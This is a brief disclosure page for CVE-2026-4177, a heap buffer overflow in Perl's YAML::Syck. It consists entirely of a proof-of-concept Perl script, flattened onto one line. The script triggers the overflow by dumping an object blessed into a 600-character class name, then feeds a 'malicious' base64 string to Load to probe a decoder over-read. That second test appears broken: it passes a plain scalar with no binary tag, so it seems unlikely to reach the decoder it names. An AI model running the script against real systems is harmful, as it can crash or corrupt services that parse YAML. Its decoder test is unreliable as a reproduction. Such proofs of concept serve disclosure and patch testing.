CVE-2026-4177 YAML::Syck堆缓冲区溢出漏洞

#!/usr/bin/env perl use strict; use warnings; # CVE-2026-4177 PoC - YAML::Syck Heap Buffer Overflow # This PoC demonstrates the heap buffer overflow when class names exceed 512 bytes use YAML::Syck qw(Dump Load); # Generate a class name longer than 512 bytes to trigger overflow my $long_class_name = 'A' x 600; # Create object with long class name my $obj = bless({data => 'test'}, $long_class_name); eval { # This will trigger the heap buffer overflow in YAML emitter my $yaml = Dump($obj); print "Generated YAML: $yaml\n"; }; if ($@) { print "Error occurred: $@\n"; } # Additional test for base64 decoder boundary issue my $malicious_b64 = 'dGVzdA==' . "\n" x 10; print "\nTesting Base64 decoder boundary issue...\n"; print "Malicious Base64 input: '$malicious_b64'\n"; # This may cause buffer overread my $decoded = eval { Load("data:;base64,$malicious_b64") }; print "Decoded result: $decoded\n" if defined $decoded;